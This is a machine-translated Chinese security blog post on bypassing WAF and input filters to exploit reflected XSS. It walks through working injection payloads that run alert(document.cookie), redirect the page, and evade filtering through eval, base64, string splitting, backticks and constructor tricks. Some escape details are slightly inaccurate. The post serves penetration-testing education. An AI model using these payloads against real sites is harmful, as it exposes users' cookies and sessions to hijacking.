XSS 绕过 WAF 及过滤技术
在模拟黑客攻击及漏洞赏金项目中分析 XSS 漏洞时总结的 WAF 绕过及过滤规避技术
本文由 AI 从韩语机器翻译,部分表达可能与原文有所不同。
阅读原文(韩语)[Summary]
本文基于在各种渗透测试(Penetration Testing)和漏洞赏金(Bug Bounty)项目中分析 XSS 漏洞所获得的经验编写而成。
整理了一些绕过服务器源代码端过滤及网络端 WAF 过滤,从而成功利用 XSS Exploit 的技术。
[Example 1]
条件 1
当请求 https://ar9ang3.com/?param1=abc 时(虽然现在是 GET 请求,但 POST 请求也适用)
条件 2
服务器端请求的 URI 直接被插入到 javascript 端时
<script>
document.location.href = 'https://ar9ang3.tistory.com/?param1=abc';
</script>
限制条件 3
%3b(;) 和 %2b(+) 在 WAF 端被过滤,导致无法逃逸 document.location.href= 等语句时
绕过及 XSS 触发代码 1 (Reflected XSS)
执行“字符串 - Native Function - 字符串”的操作时,在计算字符串结果的过程中会执行 Native Function(原生函数)。因此,如果有 document.location="abc"-alert(document.cookie)-"def"; 这样的语句,无论 document.location 的结果如何,alert(document.cookie) 语句都会被执行。
{example}
?param1=abc'-alert(document.cookie)-'def
<script>
document.location.href = 'https://ar9ang3.tistory.com/?param1=abc'-alert(document.cookie)-'def';
</script>
绕过及 XSS 触发代码 2 (Redirect to other Site)
与上面的触发代码 1 类似,但区别在于使用了 && 运算符。
?param1=abc'&&'https://ar9ang3.com/
<script>
document.location.href = 'https://ar9ang3.tistory.com/?param1=abc'&&'https://ar9ang3.com/';
</script>
像这样就可以实现绕过。
对于绕过代码 1,document.location.href 后的字符串变成了“字符串 - alert(1)的结果值 - 字符串”,而“字符串 - 字符串(常量)”会变成 NaN,导致请求 host 的 /NaN。但这中间 alert 对应的代码会被执行。
对于绕过代码 2,执行“字符串 && 字符串”时,后面的字符串会最终生效,因此 document.location.href 最终会按照后面写入的语句运行,从而重定向到我想要的页面。
WAF Bypass Tips
过滤 . 时
document.cookie => document['cookie']
过滤 (" ") 时
eval("alert(1)") => eval[alert(1)]
过滤 ; 或 + 时
'abc'-alert(1)-'def' => 需要函数执行后代入正常字符串时 => 'abc'-alert(1)^1&&'normal_string_here'
综合来看
'abc'-eval[alert(document['cookie'])]^1&&'normal_string_here'
代入 document.location.href 的字符串中:
document.location.href = 'abcdef?param1=haha'-eval[alert(document['cookie'])]^1&&'https://ar9ang3.com/';
More Filtering Bypass tips
假设可以插入任意 JavaScript 语句,我们需要考虑两点。
1. 插入的 JavaScript 语句是否会导致“JavaScript 语法错误”
2. 插入的 JavaScript 语句是否会被过滤
<< 1. 插入的 JavaScript 语句是否会导致“JavaScript 语法错误” >>
针对第 1 点,可以通过 jsbeautifier、sublimetext 等 beautify 或 IDE 工具来查找语法错误(如括号错误等)。如果出错导致 JavaScript 语句无法正常执行,可以查看 Chrome 开发者工具控制台中的 JavaScript 错误信息来定位语法错误。例如:
try {
if ('injection'==<%=request.getParameter("param")%>) {
var a = "%inject here%";
}
var f = function(x) {
var z = {
a : 1,
b : 2,
c : 3
};
return a;
}
} catch (e) {
console.log("err");
}在上述语句中,假设我们可以在 inject here 处插入任意 JavaScript 语句。在 try 语句内的 if 语句中声明 var a 的过程中发生了注入。为了执行我们想要的脚本,必须重构 JavaScript 代码,使其无论 if 条件如何都能运行。
[Method 1]

第一种方法是修正语法。如果按照语境完整插入,可以看到 JavaScript 代码正常执行。
[Method 2]
第二种方法如下:
try {
if ('injection'==<%=request.getParameter("param")%>) {
var a = "blahblah";
}
} catch(e) { }
alert(document.cookie);
</script>
<noscript>";
}
var f = function(x) {
var z = {
a : 1,
b : 2,
c : 3
};
return a;
}
} catch (e) {
console.log("err");
}如果可以插入 </script> 和 <noscript>,可以用上述语句粗略地闭合,执行脚本后关闭 script 标签并让 noscript 运行。
除了上述介绍的方法外,XSS 触发的情况非常多样,因此必须根据具体情况进行 Exploit。如果我们输入的参数进入了 html 脚本内的两个位置,并因此引发错误,可以使用 `(Back Quote) 将两个插入点之间的所有代码变为字符串,或者利用 /* */ 等注释代码将两个插入点之间的所有字符无效化。通过这种方式,可以使用多种方法来规避 JavaScript 语法错误。
<< 2. 插入的 JavaScript 语句是否会被过滤 >>
被过滤的字符串多种多样。<, >, ', ", (, ), `, ;, %, &, +
当上述 Character 被过滤时,介绍一些绕过方法。
Example Code
-> alert(document.cookie);
过滤 alert 等 native function 本身时
var a=alert; a(document.cookie);
过滤 document.cookie 等时
var a='alert'; var b='(documen'; var c='t.cooki'; var d='e)'; var e=eval; e(a+b+c+d);
过滤某些字符串时
var a=eval; a(atob("YWxlcnQoZG9jdW1lbnQuY29va2llKQ=="));
BASE64 编码后执行
过滤 ' / " 时
?param_a=¶m_b=;alert(document.cookie);var%20z='
var a='**'; var b=';alert(document.cookie);var z='**';
过滤 ( ) 括号时
alert`123`;
btoa.constructor`alert\x28document.cookie\x29
对此多做一点解释,
`(back quote) 是个稍微特殊的 Character。创建字符串时可以使用,执行函数时也可以像alert`123`;这样传递参数。因此再多提一点,利用 btoa 等 Native function 的 constructor method,并将字符串形式的脚本语句作为参数传递,该脚本就会被指定为 btoa 的 constructor function。之后通过写两次`(back quote) 来执行 btoa,从而执行前面保存的脚本语句。此外,JavaScript 会自动转换 \x28 等 Ascii hex,因此 \x28, \u28, ( 等语句在字符串内会自动转换为 ascii character。因此最终会执行 alert(document.cookie) 语句。
我们探讨了在各种情况下成功利用 XSS 的方法,坦白说,对于 XSS,缓解措施(Mitigation)的实现多种多样,插入的位置和情况也各不相同。因此,我认为重要的不是千篇一律的绕过技术,而是根据当时的情况灵活绕过。最近也看到了韩文 XSS、片假名 XSS 等内容,像这样新的方法层出不穷。我就不一一提及这些内容了,写到这里作为结束。
评论